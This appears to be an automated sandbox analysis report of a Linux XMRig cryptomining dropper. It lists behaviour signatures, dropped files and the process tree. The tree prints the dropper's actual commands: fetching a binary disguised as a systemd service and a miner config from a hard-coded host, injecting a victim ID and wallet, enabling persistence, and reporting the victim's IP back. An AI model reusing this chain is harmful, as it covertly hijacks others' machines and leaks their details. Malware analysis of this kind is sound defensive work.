Analysis

  • max time kernel
    38s
  • max time network
    39s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26/10/2026, 23:16

General

  • Target
    482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
  • Size 3KB
  • Sample261026-29atmshs4t
  • SHA256 482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
    /tmp/482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
    1⤵
    • Modifies systemd
    • Writes file to tmp directory
    PID:643
    • /bin/uname
      uname -m
      2⤵
        PID:647
      • /usr/bin/pgrep
        pgrep -f /usr/lib/systemd/systemd-journal-bridge
        2⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:650
      • /bin/grep
        grep -q systemd-journal-bridge /proc/104/comm /proc/106/comm /proc/107/comm /proc/10/comm /proc/11/comm /proc/12/comm /proc/134/comm /proc/136/comm /proc/138/comm /proc/13/comm /proc/14/comm /proc/157/comm /proc/15/comm /proc/166/comm /proc/167/comm /proc/16/comm /proc/17/comm /proc/18/comm /proc/19/comm /proc/1/comm /proc/20/comm /proc/21/comm /proc/224/comm /proc/22/comm /proc/23/comm /proc/24/comm /proc/25/comm /proc/26/comm /proc/27/comm /proc/284/comm /proc/28/comm /proc/292/comm /proc/29/comm /proc/2/comm /proc/301/comm /proc/302/comm /proc/304/comm /proc/305/comm /proc/309/comm /proc/319/comm /proc/321/comm /proc/3/comm /proc/41/comm /proc/42/comm /proc/43/comm /proc/4/comm /proc/565/comm /proc/577/comm /proc/580/comm /proc/584/comm /proc/585/comm /proc/5/comm /proc/627/comm /proc/633/comm /proc/635/comm /proc/640/comm /proc/641/comm /proc/642/comm /proc/643/comm /proc/646/comm /proc/656/comm /proc/664/comm /proc/6/comm /proc/74/comm /proc/7/comm /proc/8/comm /proc/95/comm /proc/9/comm /proc/self/comm /proc/thread-self/comm
        2⤵
        • Reads runtime system information
        PID:665
      • /bin/mkdir
        mkdir -p /usr/lib/systemd
        2⤵
          PID:667
        • /usr/bin/curl
          curl -s -o ./systemd-journal-bridge http://167.17.180.101:8080/systemd-journal-bridge
          2⤵
          • Checks CPU configuration
          PID:669
        • /bin/hostname
          hostname -I
          2⤵
            PID:747
          • /usr/bin/awk
            awk "{print \$1}"
            2⤵
              PID:748
            • /usr/bin/tr
              tr . -
              2⤵
                PID:753
              • /usr/bin/curl
                curl -s http://167.17.180.101:8080/config.json
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                PID:754
              • /usr/bin/python3
                python3 -c " import json,sys c=json.load(sys.stdin) c['pools'][0]['rig-id']=sys.argv[1] c['pools'][0]['user']=sys.argv[2]+'.'+sys.argv[1] # adaptive: fast mode only if this box (or its cgroup) really has >=3GB RAM. mem=0 for p in ('/sys/fs/cgroup/memory.max','/sys/fs/cgroup/memory/memory.limit_in_bytes'): try: v=open(p).read().strip() if v.isdigit() and int(v) < (1<<50): mem=int(v)//(1024*1024) break except Exception: pass if mem==0: try: for l in open('/proc/meminfo'): if l.startswith('MemTotal'): mem=int(l.split()[1])//1024 break except Exception: pass if mem>=3000: c['randomx']['mode']='fast' c['cpu']={'threads':1} # fast mode needs 2.5GB per thread: 1 thread only else: c['randomx']['mode']='light' print(json.dumps(c)) " VICTIM_10-127-0-159 44e7oLGjPwj14qxHaezKUJXiXsLqtoZrwRtTrsNa99sMfo6QsXSZv7q99VG4dAbm9v9LKnFtcYGnNN3n2BjGsCtr89Xg8Ar
                2⤵
                • Enumerates kernel/hardware configuration
                • System Network Configuration Discovery
                PID:755
              • /bin/chmod
                chmod +x ./systemd-journal-bridge
                2⤵
                • File and Directory Permissions Modification
                PID:758
              • /bin/cat
                cat
                2⤵
                  PID:759
                • /bin/systemctl
                  systemctl daemon-reload
                  2⤵
                  • Enumerates kernel/hardware configuration
                  • Reads runtime system information
                  PID:760
                • /bin/systemctl
                  systemctl enable --now systemd-journal-bridge.service
                  2⤵
                  • Enumerates kernel/hardware configuration
                  • Reads runtime system information
                  PID:773
                • /usr/bin/curl
                  curl -s -m 5 "http://167.17.180.101:8080/report?10.127.0.159"
                  2⤵
                  • Checks CPU configuration
                  PID:790
                • /bin/sleep
                  sleep 30
                  2⤵
                    PID:791
                  • /usr/bin/pgrep
                    pgrep -f /usr/lib/systemd/systemd-journal-bridge
                    2⤵
                    • Reads CPU attributes
                    • Reads runtime system information
                    PID:814
                  • /usr/bin/tr
                    tr -c "a-zA-Z0-9 .:-" _
                    2⤵
                      PID:817
                    • /usr/bin/cut
                      cut -c1-60
                      2⤵
                        PID:818
                      • /usr/bin/tail
                        tail -1 /tmp/m.log
                        2⤵
                          PID:816
                        • /usr/bin/wget
                          wget -q -O /dev/null -T 5 "http://167.17.180.101:8080/report?MINERERR_10.127.0.159_"
                          2⤵
                            PID:819

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              sh-thd.8htq6h

                              • Path /tmp/sh-thd.8htq6h
                              • Size 243B
                              • SHA256 a81d979975332ccb7dfd664699d1fc2e58f17d83cf75fc2fc4f702897b306478
                              • MD5 SHA1 SHA512 TLSH

                              bridge.conf

                              • Path /usr/lib/systemd/bridge.conf
                              • Size 482B
                              • SHA256 f2e43114e1252ffb9d54d9cef67db8635e17c1e2aaa2154a070d687d9e7be367
                              • MD5 SHA1 SHA512 TLSH

                              systemd-journal-bridge

                              • Path /usr/lib/systemd/systemd-journal-bridge
                              • Size 8.0MB
                              • SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
                              • MD5 SHA1 SHA512 SSDEEP TLSH